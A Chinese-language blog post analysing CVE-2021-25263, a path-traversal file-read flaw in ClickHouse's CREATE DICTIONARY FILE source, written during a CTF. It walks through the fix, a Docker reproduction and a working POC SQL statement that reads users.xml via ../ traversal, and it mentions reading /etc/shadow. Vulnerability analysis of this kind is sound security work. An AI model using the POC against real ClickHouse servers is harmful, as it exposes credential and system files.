CVE-2021-25263 ClickHouse任意文件读漏洞分析

最近的ByteCTF里用了ClickHouse这个数据库引擎,以为题目用了这个数据库的CVE,复现了但是没用到 ,还是记录下。

ClickHouse

ClickHouse是一个用于联机分析(OLAP)的列式数据库管理系统(DBMS),主要应用于数据统计分析领域。安全性方面算是比较完善的,近期披露出来的漏洞不多。

分析

官方文档里列出来最新的漏洞是CVE-2021-25263,漏洞介绍如下:

Fixed in ClickHouse 21.4.3.21, 2021-04-12

CVE-2021-25263

An attacker that has CREATE DICTIONARY privilege, can read arbitary file outside permitted directory.
Fix has been pushed to versions 20.8.18.32-lts, 21.1.9.41-stable, 21.2.9.41-stable, 21.3.6.55-lts, 21.4.3.21-stable and later.

在GitHub官方仓库里,找到了对应的PR FileDictionarySource fix absolute file path #22822

修复了src/Dictionaries/FileDictionarySource.cpp中的目录穿越问题。

可以发现,原来文件路径是通过判断文件开头是否为user_files_path,使用../../../../即可绕过。

参考官方文档,clickhouse的user_files_path配置在/etc/clickhouse-server/config.xml中,默认为/var/lib/clickhouse/user_files/

根据漏洞描述,可以猜测漏洞发生在CREATE DICTIONARY时,CREATE DICTIONARY支持通过文件创建,构造文件路径/var/lib/clickhouse/user_files/../../../../即可任意文件读取。

利用

看了下dockerhub有clickhouse的镜像,直接pull一个下来,复现选择21.3.2.5版本。

1
docker run -d --name clickhouse --rm --ulimit nofile=262144:262144 yandex/clickhouse-server:21.3.2.5

进入数据库终端

1
docker exec -it clickhouse clickhouse-client

漏洞点在CREATE DICTIONARY处,官方文档关于CREATE DICTIONARY的语法如下:

1
2
3
4
5
6
7
8
9
10
11
CREATE DICTIONARY [IF NOT EXISTS] [db.]dictionary_name [ON CLUSTER cluster]
(
key1 type1 [DEFAULT|EXPRESSION expr1] [IS_OBJECT_ID],
key2 type2 [DEFAULT|EXPRESSION expr2] ,
attr1 type2 [DEFAULT|EXPRESSION expr3] [HIERARCHICAL|INJECTIVE],
attr2 type2 [DEFAULT|EXPRESSION expr4] [HIERARCHICAL|INJECTIVE]
)
PRIMARY KEY key1, key2
SOURCE(SOURCE_NAME([param1 value1 ... paramN valueN]))
LAYOUT(LAYOUT_NAME([param_name param_value]))
LIFETIME({MIN min_val MAX max_val | max_val})

SOURCE支持从文件中格式化加载字典,语法如下:

1
SOURCE(FILE(path './user_files/os.tsv' format 'TabSeparated'))

path为路径穿越的目标文件,format是文件格式化的方法。

那么,问题来了,怎么把一个文件的内容合法格式化加载到一个字典里?

clickhouse支持 Formats for Input and Output Data 中列出的所有格式,很多格式一眼看过去就知道用不了。

筛选一下,可能可用的部分format如下:

Format 分割方式
TabSeparated TAB制表符分割
Template 模板分割
CustomSeparated 类似于Template
LineAsString 按行分割
Regexp 正则分割

其中,LineAsString输出只有一个值,而字典要求key-value,需要返回至少两个值,没法用。

逐个筛查,最后发现Regexp不仅可以指定正则,还可以跳过报错行,非常适合拿来读文件使用。(前提:已知文件格式)

Regexp用法:

Regexp

Each line of imported data is parsed according to the regular expression.

When working with the Regexp format, you can use the following settings:

  • format_regexpString. Contains regular expression in the re2 format.

  • format_regexp_escaping_rule—String. The following escaping rules are supported:

    • CSV (similarly to CSV)
    • JSON (similarly to JSONEachRow)
    • Escaped (similarly to TSV)
    • Quoted (similarly to Values)
    • Raw (extracts subpatterns as a whole, no escaping rules)
  • format_regexp_skip_unmatchedUInt8. Defines the need to throw an exeption in case the format_regexp expression does not match the imported data. Can be set to 0 or 1.

Usage

The regular expression from format_regexp setting is applied to every line of imported data. The number of subpatterns in the regular expression must be equal to the number of columns in imported dataset.

Lines of the imported data must be separated by newline character '\n' or DOS-style newline "\r\n".

The content of every matched subpattern is parsed with the method of corresponding data type, according to format_regexp_escaping_rule setting.

If the regular expression does not match the line and format_regexp_skip_unmatched is set to 1, the line is silently skipped. If format_regexp_skip_unmatched is set to 0, exception is thrown.

format_regexp设置正则,format_regexp_skip_unmatched设置为1,跳过不匹配的行。

然后构造CREATE DICTIONARY语句,这里还有一个坑点。

CREATE DICTIONARY语句中有一个LAYOUT设置,翻一下文档,不难发现,绝大多数的LAYOUT只支持key的类型为UInt64。如果设置的key为String,就可能会导致创建的字典key重复出现,导致覆盖。

接着翻文档,文档中对于字典key的说明中,除了Numeric Key以外,还有一种Composite Key的选项。

Composite Key

The key can be a tuple from any types of fields. The layout in this case must be complex_key_hashed or complex_key_cache.

Tip

A composite key can consist of a single element. This makes it possible to use a string as the key, for instance.

这样,key的问题也解决了,构造SQL语句即可实现任意文件读取。

POC:

1
2
3
4
5
6
7
8
9
10
CREATE DICTIONARY test
(
`key` String,
`value` String
)
PRIMARY KEY key
SOURCE(FILE(PATH '/var/lib/clickhouse/user_files/../../../../../etc/clickhouse-server/users.xml' FORMAT 'Regexp'))
LIFETIME(MIN 300 MAX 300)
LAYOUT(COMPLEX_KEY_HASHED())
SETTINGS(format_regexp = '\\s*<(.*?)>(.*?)</.*?>', format_regexp_escaping_rule = 'Raw', format_regexp_skip_unmatched = 1);

复现:

总结

这个漏洞的利用条件其实比较苛刻,需要数据库用户具有CREATE DICTIONARY权限。

其次,ClickHouse不支持堆叠查询,也就是说,这个漏洞无法在SQL注入中使用,必须SQL语句完全可控的情况下,才能利用。这种场景基本只有管理后台、ClickHouse HTTP接口/TCP接口未授权访问才存在,场景十分有限。但是,ClickHouse一般以root用户运行,一旦出现未授权访问,利用该漏洞可读取/etc/shadow等文件。

参考资料


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!